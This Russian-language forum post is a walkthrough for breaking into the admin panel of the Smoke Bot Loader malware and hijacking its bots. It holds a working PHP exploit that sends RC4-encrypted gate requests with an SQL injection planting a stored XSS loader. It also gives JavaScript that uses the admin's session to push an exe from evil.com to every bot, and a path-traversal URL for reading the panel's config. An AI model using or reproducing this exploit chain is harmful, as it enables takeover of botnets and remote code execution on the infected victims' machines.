Smoke Bot — Уводим ботов за две затяжки

  • Автор темы OVEL
  • Дата начала

OVEL

Участник
Регистрация
04.11.2014
Сообщения
5
Реакции
0
Добрый день, дамы и господа, сегодня мы будем ломать Smoke Bot Loader. Продукт весьма популярный и на рынке уже достаточно длительное время, и, как мне кажется, от этого будет только интереснее...

Структура такая:

Затяжка первая. SQL-injection и активная XSS

В первую очередь, был изучен гейт. Насколько я понял, автор подразумевал, что раз данные, поступающие в админку от бота, будут зашифрованы с помощью rc4, то можно и опустить некоторые проверки. И зря.

После недолгих поисков был найден уязвимый к SQL-инъекции код:

Код:
//Данные из $bot[BOT_PRIVIL] никак не фильтруются
$privs=$bot[BOT_PRIVIL];
// И чуть ниже
mysql_query("UPDATE bots SET ip='".$ip."',time='".$time."',seller='".$sel."',privs='".$privs."' WHERE cname='".$login."'");​В свою очередь, данные из колонки cname при выводе в админке никак не фильтровались, а это означало, что можно было объединить SQL-инъекцию и XSS.

Код эксплоита (2 запроса в гейт и активная XSS уже в панели):

Код:
<?php
function rc4($key, $str) {
$s = array();
for ($i = 0; $i < 256; $i++) {
$s[$i] = $i;
}
$j = 0;
for ($i = 0; $i < 256; $i++) {
$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
}
$i = 0;
$j = 0;
$res = '';
for ($y = 0; $y < strlen($str); $y++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$x = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $x;
$res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);
}
return $res;
}

function send_data($gate_url, $payload){
$opts = array('http' =
array(
'method' = 'POST',
'header' = 'Content-type: application/x-www-form-urlencoded',
'content' = $payload
)
);
$context = stream_context_create($opts);
$result = file_get_contents($gate_url, false, $context);
}

/*===============================
Config
===============================*/
$gate_url = 'smoke.loc

/*===============================
First Request
===============================*/

$key = "1234";
$data[] = "2015"; //bot_magic
$data[] = "1234567890345303020340340320333433323453"; // id
$data[] = "selle"; // aff id
$data[] = "0"; // winver
$data[] = "0"; // winbit
$data[] = "0"; // privs
$data[] = "10001"; // cmd
$data[] = "0"; // opt
$data[] = "0"; // res

$data = implode("#",$data);
$data = RC4($key, $data);
$payload = $key.$data;
send_data($gate_url, $payload);

echo "[+] First request done \n";
unset($data);

/*===============================
Second Request
===============================*/

$data[] = "2015";
$data[] = "1234567890345303020340340320333433323453";
$data[] = "selle";
$data[] = "0";
$data[] = "0";
// SQL-inject через $bot[BOT_PRIVIL], cname должен быть равен 40 символам!
$data[] = "0', cname='<script src=\"//xsssite.com/12\" </script ' where id=1 -- ";
$data[] = "10001";
$data[] = "0";
$data[] = "0";

$data = implode("#",$data);
$data = RC4($key, $data);
$payload = $key.$data;
send_data($gate_url, $payload);

echo "[+] Second request done \n";
echo "[+] XSS injected! \n";​Размещаем на подконтрольном ресурсе файл с именем 12 (можно варьировать длину файла, главное чтобы длина строки, идущей в cname была 40 символов) и содержащий внутри банальный код:

Код:
alert('xss');​И результат:

Теперь, попробуем получить хоть-какой то профит.

Затяжка вторая. CSRF и угон ботов

К сожалению для входа использовалась basic-авторизация, и поэтому просто угнать куки и зайти под админом не получилось бы (XST - редкость, файл с phpinfo и прочие подобные - тоже не всегда получается найти). Поэтому, для того, чтобы получить хоть какой-то профит с найденной нами уязвимости, мы попробуем угнать пачку ботов. Обновим наш файл 12:

Код:
var link_to_my_exe = "http://evil.com/my.exe";

var http = new XMLHttpRequest();
var params = "geo=ALL&seller=0&limit=0&start=0&bits=0&comment=no_comment&delafter=1&url="+link_to_my_exe;

http.open("POST", window.location.pathname+"?page=exe", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send(encodeURI(params));​Теперь, после посещения админом страницы с ботами, в задания добавится новый таск:

Боты грузят наш exe, а после его запуска смоке-бот самоудаляется - гениальная комбинация, блестяще проведенная до конца! И все что нужно знать для атаки - это только адрес до гейта.

Окурки и пепел

К слову, поле comment в разделе tasks тоже уязвимо для XSS. И хотя основная цель уже была достигнута, в коде, который относится к модулям (стилер, формграббер, ддос и т.д.), я все равно успел между делом найти парочку XSS (например, в части относящейся к ddos).

Ну а если версия пыха на серваке совсем старая, то можно и конфиг прочитать:

Код:
http://smoke.com/control.php?act=dwnlog&file=../inc/cfg.php
 
Сверху